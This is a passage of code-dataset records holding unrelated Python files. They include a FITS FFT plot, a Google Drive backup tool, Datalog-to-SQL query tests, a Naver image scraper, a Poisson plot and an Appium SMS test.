status\n\n\n","sub_path":"mcutk/board/baseboard.py","file_name":"baseboard.py","file_ext":"py","file_size_in_byte":8521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"210098389","text":"#!/usr/bin/python\n# -*- coding: utf8 -*-\n\nfrom __future__ import print_function, division\n\nimport astropy.io.fits as pyfits\nimport numpy\nimport numpy.fft as fft\nimport matplotlib.pyplot as plt\n\n\n__author__ = 'Bruno Quint'\n\nif __name__ == '__main__':\n\n    # Load data\n    filename = '/data/BTFI/20140402/BIAS/classic-mode/sbiasA0002.fits'\n    header = pyfits.getheader(filename)\n    data = pyfits.getdata(filename)\n\n    fft_data = fft.fft2(data)\n    fft_data = fft.fftshift(fft_data).real\n\n    vmin = fft_data.mean() - 3 * fft_data.std()\n    vmax = fft_data.mean() + 3 * fft_data.std()\n    plt.imshow(fft_data, origin='lower', cmap='coolwarm', interpolation='nearest', vmin=vmin, vmax=vmax)\n    plt.colorbar()\n    plt.show()\n\n\n\n\n","sub_path":"bias_fft.py","file_name":"bias_fft.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"579350277","text":"from __future__ import print_function\nimport sys\nimport os\nimport time\nfrom googleapiclient.discovery import build\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\nfrom apiclient.http import MediaFileUpload\nimport datetime;\nimport json\n\n\n# If modifying these scopes, delete the file token.json.\n# full scope : https://www.googleapis.com/auth/drive\nSCOPES = 'https://www.googleapis.com/auth/drive.file'\n\nclass BackupManager:\n    now = datetime.datetime.now()\n    scopes = 'https://www.googleapis.com/auth/drive.file'\n    config_path = 'push2drive_config/config.json'\n    credentials_path = 'push2drive_config/credentials.json'\n    token_path = 'push2drive_config/token.json'\n    config = 0\n    drive_service = 0\n\n\n    backup_number = 0\n    main_folder_id = 0\n    destination_folder_id = 0\n    backup_folder_id = 0\n\n    def __init__(self, path):\n        self.config_path = os.path.join(path, 'push2drive_config/config.json')\n        self.credentials_path = os.path.join(path, 'push2drive_config/credentials.json')\n\n    def read_config(self):\n        with open(self.config_path) as json_data_file:\n            self.config = json.load(json_data_file)\n        return self.config\n\n    def connect_drive(self):\n        store = file.Storage(self.config['token_path'])\n        creds = store.get()\n        if not creds or creds.invalid:\n            flow = client.flow_from_clientsecrets(self.credentials_path, SCOPES)\n            creds = tools.run_flow(flow, store)\n        self.drive_service = build('drive', 'v3', http=creds.authorize(Http()))\n\n    def check_main_folder(self):\n        # Search main backup folder in drive\n        main_folder_name = self.config['main_folder_name']\n        print('Search main backup folder in drive (name:%s)' % main_folder_name)\n        results = self.drive_service.files().list(q=\"name='%s' and mimeType='application/vnd.google-apps.folder'\" % main_folder_name,\n                                            orderBy='createdTime asc',\n                                            spaces='drive',\n                                            fields='nextPageToken, files(id, name)'\n                                            ).execute()\n        items = results.get('files', [])\n\n        if not items:\n            # No Backup folder found by name\n            print('Create main folder')\n            file_metadata = {\n                'name': main_folder_name,\n                'mimeType': 'application/vnd.google-apps.folder'\n            }\n\n            main_folder = self.drive_service.files().create(body=file_metadata,\n                                                fields='id').execute()\n            self.main_folder_id = main_folder.get('id')\n            print('Folder ID: %s' % self.main_folder_id)\n        else:\n            # Backup folder ok\n            for item in items:\n                if item['name'] == main_folder_name:\n                    self.main_folder_id = item['id']\n                else:\n                    print(u'{0} ({1})'.format(item['name'], item['id']))\n            \n            print('Main folder found (id:%s)' % self.main_folder_id)\n        \n        if self.main_folder_id == 0:\n            raise BaseException('No main folder')\n        return 1\n\n    def check_destination_folder(self):\n        destination_folder_name = self.config['destination_folder_name']\n        print('Search destination folder in drive (name:%s)' % destination_folder_name)\n        # Backup folder ok\n        if self.main_folder_id == 0:\n            raise BaseException('No main folder')\n        else:\n            # Search sub folders\n            results = self.drive_service.files().list(q=\"'{0}' in parents and mimeType='application/vnd.google-apps.folder'\".format(self.main_folder_id),\n                                                orderBy='createdTime asc',\n                                                spaces='drive',\n                                                pageSize=100,\n                                                fields='nextPageToken, files(id, name)'\n                                                ).execute()\n            items = results.get('files', [])\n\n            # Search folder for existing folder\n            if items:\n                for item in items:\n                    if item['name']==destination_folder_name:\n                        self.destination_folder_id =  item['id']\n            \n            # Create eventually\n            if self.destination_folder_id == 0:\n                print('Create destination folder')\n                file_metadata = {\n                    'name': destination_folder_name,\n                    'mimeType': 'application/vnd.google-apps.folder',\n                    'parents': [self.main_folder_id]\n                }\n\n                destination_folder = self.drive_service.files().create(body=file_metadata,\n                                                    fields='id').execute()\n                self.destination_folder_id = destination_folder.get('id')\n            \n            if self.destination_folder_id == 0:\n                raise BaseException('No destination folder')\n            else:\n                print('Destination folder found (id:%s)' % self.destination_folder_id)\n        return 1\n\n    def get_backup_number(self):\n        data = self.drive_service.files().get(fileId=self.destination_folder_id, fields=\"appProperties\").execute()\n        print(data)\n        if 'appProperties' in data and 'backup_number' in data['appProperties']:\n            self.backup_number = int(data['appProperties']['backup_number']) + 1\n            print('This is backup number %s' % self.backup_number)\n        else:\n            print('WARNING : No backup number found in folder metadata')\n\n    def save_backup_number(self):\n        properties= {\n            'appProperties': {\n                'backup_number': self.backup_number\n            }\n        }\n        data = self.drive_service.files().update(body=properties, fileId=self.destination_folder_id, fields=\"id, appProperties\").execute()\n        print('New backup number saved (%s)' % self.backup_number)\n        \n    def create_backup_folder(self,backup_number):\n        backup_folder_name = '{0} - {1}'.format(self.backup_number, self.now.isoformat())\n        print('Create backup folder')\n\n        file_metadata = {\n            'name': backup_folder_name,\n            'mimeType': 'application/vnd.google-apps.folder',\n            'parents': [self.destination_folder_id],\n            'appProperties': {\n                'backup_number': self.backup_number\n            }\n        }\n\n        backup_folder = self.drive_service.files().create(body=file_metadata,\n                                            fields='id, appProperties').execute()\n        self.backup_folder_id = backup_folder.get('id')\n        \n        if self.backup_folder_id == 0:\n            raise BaseException('No backup folder')\n        else:\n            print('Backup folder found (id:%s)' % self.backup_folder_id)\n        return 1\n\n    def upload_file(self, file):\n        print('Upload file : %s' % file)\n\n        if not os.path.isfile(file):\n            raise BaseException('Backup file not found')\n\n        # Upload backup file\n        file_metadata = {\n            'name': '{0}.{1}'.format(self.now.isoformat(),file),\n            'parents': [self.backup_folder_id]\n        }\n        media = MediaFileUpload(file)\n        drive_file = self.drive_service.files().create(body=file_metadata,\n                                            media_body=media,\n                                            fields='id').execute()\n        print('File saved (id:%s)' % drive_file.get('id'))\n\n    def slack_notification(self, file):\n        payload = \"{\\\"text\\\":\\\"Backup finished (%s)\\\"}\" % file\n        (resp, content) = Http().request(self.config['slack_url'],\n                                \"POST\", body=payload,\n                                headers={'content-type':'application/json'})\n\n    def clean(self):\n        # Search sub folders\n        results = self.drive_service.files().list(q=\"'{0}' in parents and mimeType='application/vnd.google-apps.folder'\".format(self.destination_folder_id),\n                                            orderBy='createdTime asc',\n                                            spaces='drive',\n                                            pageSize=100,\n                                            fields='nextPageToken, files(id, name, appProperties)'\n                                            ).execute()\n        items = results.get('files', [])\n\n        # Search folder for existing folder\n        keep = []\n        oldest_number = self.backup_number - self.config['rotation']['last'] + 1\n        if items:\n            for item in items:\n                # print(item['name'])\n                if 'appProperties' in item and 'backup_number' in item['appProperties']:\n                    old_backup_number = int(item['appProperties']['backup_number'])\n                    if old_backup_number >= oldest_number:\n                        print('Keep %s' % item['name'])\n                        keep.append(item['id'])\n                    for modulo in self.config['rotation']['modulo']:\n                        if old_backup_number%modulo == 0 and (old_backup_number//modulo >= ((self.backup_number//modulo)-1)):\n                            print('Keep %s' % item['name'])\n                            keep.append(item['id'])\n            for item in items:\n                if 'appProperties' in item and 'backup_number' in item['appProperties']:\n                    delete=True\n                    for k in keep:\n                        if item['id'] == k:\n                            delete = False\n                            break\n                    if delete:\n                        print('Delete %s' % item['name'])\n                        data = self.drive_service.files().delete(fileId=item['id'], fields=\"id\").execute()\n\n    def backup(self, files_to_backup):\n        print(self.config_path)\n        print(self.credentials_path)\n        self.check_main_folder()\n        self.check_destination_folder()\n        self.get_backup_number()\n        self.create_backup_folder(self.backup_number)\n        print('Start Backup')\n        for file in files_to_backup:\n            self.upload_file(file)\n        self.slack_notification('{0} - {1}'.format(self.config['destination_folder_name'], self.backup_number))\n        self.save_backup_number()\n        self.clean()\n        time.sleep(3)\n        return 1\n\ndef main():\n    script_path = os.path.realpath(sys.path[0])\n    files_to_backup = []\n\n    if len(sys.argv) == 1:\n        raise BaseException('Missing Arguments')\n    else:\n        i=1\n        while i < len(sys.argv):\n            files_to_backup.append(sys.argv[i])\n            i += 1\n\n    backup_manager = BackupManager(script_path)\n    backup_manager.read_config()\n    backup_manager.connect_drive()\n    backup_manager.check_main_folder()\n    backup_manager.check_destination_folder()\n    backup_manager.get_backup_number()\n\nif __name__ == '__main__':\n    main()\n","sub_path":"scripts/get_token.py","file_name":"get_token.py","file_ext":"py","file_size_in_byte":11036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"364432829","text":"\ndef cel_to_fah(deg_in_cel):\n    deg_in_fah = deg_in_cel*9/5+32\n    return deg_in_fah\n\ntemperatures=[10,-20,-289,100]\n\nfor deg in temperatures:\n    if deg < -273.15:\n        print(\"Temperature cannot be lower than -273.15\")\n    else:\n        print(cel_to_fah(deg))\n","sub_path":"scripts/Section5/exercise4.py","file_name":"exercise4.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"1043913","text":"\n#from evaluate_query import *\nfrom yadi.dataStructures.query import *\nfrom yadi.dataStructures.relation import *\nfrom yadi.dataStructures.element import *\nfrom yadi.dataStructures.constraint import *\nfrom yadi.queryExecutor.queryExecutor import *\nfrom yadi.queryExecutor.sqlFactory import *\n\n\ndef test(list_queries):\n    gen = SQLGenerator()\n    for i in range(0,len(list_queries)):\n        print ('Test :'+ str(i))\n        print ('Original:')\n        print (str(list_queries[i]))\n        print ('Result:')\n        try:\n            print (QueryExecutor().execute_query(list_queries[i]))\n        except Exception as e:\n            print(e)\n        print ('---------------------------------------------------------')\n\n\n\nqueries = []\n\n#M(title) :- movie(title,length_min), length_mins>100.\nr = RelationInQuery('movie', [Variable('title'),Wildcard(),Variable('length_mins'), Wildcard()], False)\nq = ConjunctiveQuery([r], [Constraint(Variable('length_mins'), Constant('100'), '>=')], RelationInQuery('M', [Variable('title')]))\n\nqueries.append(q)\n# ------\n# Q(X):-!S(Y),X=Y,Y=2\nr = RelationInQuery('S', [Variable('Y')],True)\nq = ConjunctiveQuery([r],[Constraint(Variable('X'), Variable('Y'), '='),Constraint(Variable('Y'), Constant('2'), '=')],RelationInQuery('Q', [Variable('X')]))\n\nqueries.append(q)\n\n#------\n#Q(X):- S(X)\nr = RelationInQuery('S', [Variable('X')])\nq = ConjunctiveQuery([r],[],RelationInQuery('Q', [Variable('X')]))\nqueries.append(q)\n\n# ------\n# Q(X):- S(X), X = 2\nr = RelationInQuery('S', [Variable('X')])\nhead = RelationInQuery('Q', [Variable('X')])\nqueries.append(ConjunctiveQuery([r],[Constraint(Variable('X'),Constant('2'),'=')],head))\n\n# ------\n\ns = RelationInQuery('S', [Variable('X'),Variable('Y')])\nt = RelationInQuery('T', [Variable('X')], True)\nqueries.append(ConjunctiveQuery([s,t],[Constraint(Variable('Y'), Variable('Z'), '=')],RelationInQuery('Q',[Variable('X'),Variable('Z')])))\n\n\n# ------\n\n# R(X,Y),!S(Z), Y=Z\ns = RelationInQuery('R', [Variable('X'),Variable('Y')])\nt = RelationInQuery('S', [Variable('Z')], True)\n\nqueries.append(ConjunctiveQuery([s,t],[Constraint(Variable('Y'), Variable('Z'), '=')]))\n\n# R(X,Y),!S(Z)\n\ns = RelationInQuery('R', [Variable('X'),Variable('Y')])\nt = RelationInQuery('S', [Variable('Z')], True)\n\nqueries.append(ConjunctiveQuery([s,t],[]))\n\n\n# answer(X,Y) :- R(X,A), S(A,Y).\n\ns = RelationInQuery('R', [Variable('X'),Variable('A')])\nt = RelationInQuery('S', [Variable('A'),Variable('Y')])\nhead = RelationInQuery('answer',[Variable('X'),Variable('Y')])\nqueries.append(ConjunctiveQuery([s,t],[],head))\n\n# answer(X,2) :- R(X,A), S(A,_).\n\ns = RelationInQuery('R', [Variable('X'),Variable('A')])\nt = RelationInQuery('S', [Variable('A'),Wildcard()])\nhead = RelationInQuery('answer',[Variable('X'),Constant('2')])\nqueries.append(ConjunctiveQuery([s,t],[],head))\n\n\n# r(_,2)\n\nr = RelationInQuery('answer',[Wildcard(),Constant('2')])\nqueries.append(ConjunctiveQuery([r],[]))\n\n# R(_,A), S(A,_). -> answer(A) :- R(_,A), S(A,_).\n\ns = RelationInQuery('R', [Wildcard(),Variable('A')])\nt = RelationInQuery('S', [Variable('A'),Wildcard()])\n\nqueries.append(ConjunctiveQuery([s,t],[]))\n\n# R(X,Y) :- S(X), S(Y), X>Y\n\ns = RelationInQuery('S', [Variable('X')])\nt = RelationInQuery('S', [Variable('Y')])\nhead = RelationInQuery('answer',[Variable('X'),Variable('Y')])\nqueries.append(ConjunctiveQuery([s,t],[Constraint(Variable('X'),Variable('Y'),'>')],head))\n\n# R(X,Y) :- S(X), Y>2\n\ns = RelationInQuery('S', [Variable('X')])\n\nhead = RelationInQuery('answer',[Variable('X'),Variable('Y')])\nqueries.append(ConjunctiveQuery([s],[Constraint(Variable('Y'),Constant('2'),'>')],head))\n\n# R(X) :- S(X), X<2\n\ns = RelationInQuery('S', [Variable('X')])\n\nhead = RelationInQuery('answer',[Variable('X'),Variable('Y')])\nqueries.append(ConjunctiveQuery([s],[Constraint(Variable('X'),Constant('2'),'<')],head))\n\n# answer(X,Y):-S(X,Z),S(Y,Z),X>Y\n\ns = RelationInQuery('S', [Variable('X'),Variable('Z')])\nt = RelationInQuery('S', [Variable('Y'),Variable('Z')])\nhead = RelationInQuery('answer',[Variable('X'),Variable('Y')])\n\nqueries.append(ConjunctiveQuery([s,t],[Constraint(Variable('X'),Variable('Y'),'>')],head))\n\n\n# R(X) :- X = 2, 3<X\n\nhead = RelationInQuery('R',[Variable('X')])\n\nqueries.append(ConjunctiveQuery([],[Constraint(Variable('X'),Constant('2'),'='),Constraint(Constant('3'),Variable('X'),'<')],head))\n\n# r(_,2), X = 2\n\nr = RelationInQuery('R',[Wildcard(),Constant('2')])\nqueries.append(ConjunctiveQuery([r],[Constraint(Variable('X'), Constant('2'), '=')]))\n\n# R(X,Y) :- S(X), S(Y,T), T(X), U(Y), X>Y\ns = RelationInQuery('S', [Variable('X')])\nt = RelationInQuery('S', [Variable('Y')])\nu = RelationInQuery('T', [Variable('X')])\nv = RelationInQuery('V', [Variable('Y')])\nhead = RelationInQuery('answer',[Variable('X'),Variable('Y')])\nqueries.append(ConjunctiveQuery([s,t,u,v],[Constraint(Variable('X'),Variable('Y'),'>')],head))\ntest(queries)\n\n\n","sub_path":"tests/sql_generator_tests.py","file_name":"sql_generator_tests.py","file_ext":"py","file_size_in_byte":4871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"542546447","text":"from bs4 import BeautifulSoup\nimport urllib.request as req\nimport urllib.parse as rep\nimport os\nimport errno\n\n# 네이버에서 헤더 정보가 없는 크롤링 및 스크랩핑은 403 forbidden (접근 거부) 처리하고 있어서 밑에 헤더정보 추가\nopener = req.build_opener()\nopener.addheaders = [('User-agent', 'Mozilla/5.0')]\nreq.install_opener(opener)\n\nbase = \"https://search.naver.com/search.naver?where=image&sm=tab_jum&query=\"\nquote = rep.quote_plus(\"멍뭉이\")\nurl = base + quote\n\nres = req.urlopen(url)\nsavePath = \"C:/Users/PSW/Desktop/HOLO/WebCrawler/Beautifulsoup/imagedown\"\n\ntry:\n    if not (os.path.isdir(savePath)): # 그러한 디렉토리가 있는지 확인\n        os.makedirs(os.path.join(savePath)) # 없으면 디렉토리를 만들어낸다\nexcept OSError as e:\n    if e.errno != errno.EEXIST:\n        print(\"폴더 만들기 실패!\")\n        raise\n\nsoup = BeautifulSoup(res, \"html.parser\")\n\nimg_list = soup.select(\"div.img_area > a.thumb._thumb > img\") # 크롬 개발자 도구의 Copy selector 를 이용하면 쉽게 보여줌\n\nfor i, img_list in enumerate(img_list, 1):\n    #print(img_list['src']) base64 형식으로 변환된 소스... 이거로는 다운받을 수 없다.\n    #print(img_list['data-source'])\n    fullFileName = os.path.join(savePath, str(i) + \".jpg\")\n    #print(fullFileName)\n    req.urlretrieve(img_list['data-source'], fullFileName)\n\nprint(\"다운로드 완료\")\n","sub_path":"WebCrawler/Beautifulsoup/download2-8-1.py","file_name":"download2-8-1.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"288870989","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\n#PROBLEM 3: Bernoulli Trials by Poisson distribution\n\ndef problem3():\n    n = 1000\n    p = 0.001\n    x = np.zeros((19, 1))\n    y = np.zeros((19, 1))\n\n    #Performing calculations using Poisson formula\n    for k in range(19):\n        lambdaVal=n*p\n        f = (lambdaVal**k / math.factorial(k)) * math.exp(-lambdaVal)\n        x[k] = k\n        y[k] = f\n\n    plotting(x, y)\n\ndef plotting(x,y):\n    # Setting the x values\n    xRange = range(0,19)\n    xSize = np.size(xRange)  # number of x values\n\n    # Plotting stem plot for PMF\n    plt.stem(x,y, use_line_collection=True)  # stem plot (x,y,...)\n\n    # Labels for the plot\n    plt.title('Bernoulli Trials: PMF - Poisson Approximation', fontsize=14,  #CHANGE THE TITLES FOR EACH PLOT AND FOR EACH CODE YOU PUT IN REPORT\n          fontweight='bold')\n    plt.xlabel('Number of successes in n=1000 trials', fontsize=14)\n    plt.ylabel('Probability', fontsize=14, )\n    plt.xticks(xRange)\n    filename=input(\"Enter a name and extension (.pdf) to save the file as :\")\n    plt.savefig(filename)\n\nproblem3()","sub_path":"Probaility and Statistics/EE381_project3/problem3.py","file_name":"problem3.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"124517522","text":"import pytest\n\nfrom base.base_driver import baseDriver\nfrom page.page_edit_mms import EditMms\nfrom page.page_new_mms import NewMmS\n\n\nclass TestMms():\n\n    def setup(self):\n        self.driver = baseDriver(appPackage=\"com.android.mms\", appActivity=\"com.android.mms.ui.ConversationList\")\n        self.newMms = NewMmS(self.driver)\n        self.editMms = EditMms(self.driver)\n\n    def teardown(self):\n        self.driver.quit()\n\n    @pytest.mark.parametrize((\"recipienter\", \"text\"),[(18871102549, \"hello01\"), (13545687895, \"这是中国哈哈哈哈\")])\n    def test_sendMms(self, recipienter, text):\n        self.newMms.click_new_mms()\n        self.editMms.input_recipienter(recipienter)\n        self.editMms.input_mms_text(text)\n        self.editMms.click_send()","sub_path":"PO案例_案例/scripts/test_mms.py","file_name":"test_mms.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
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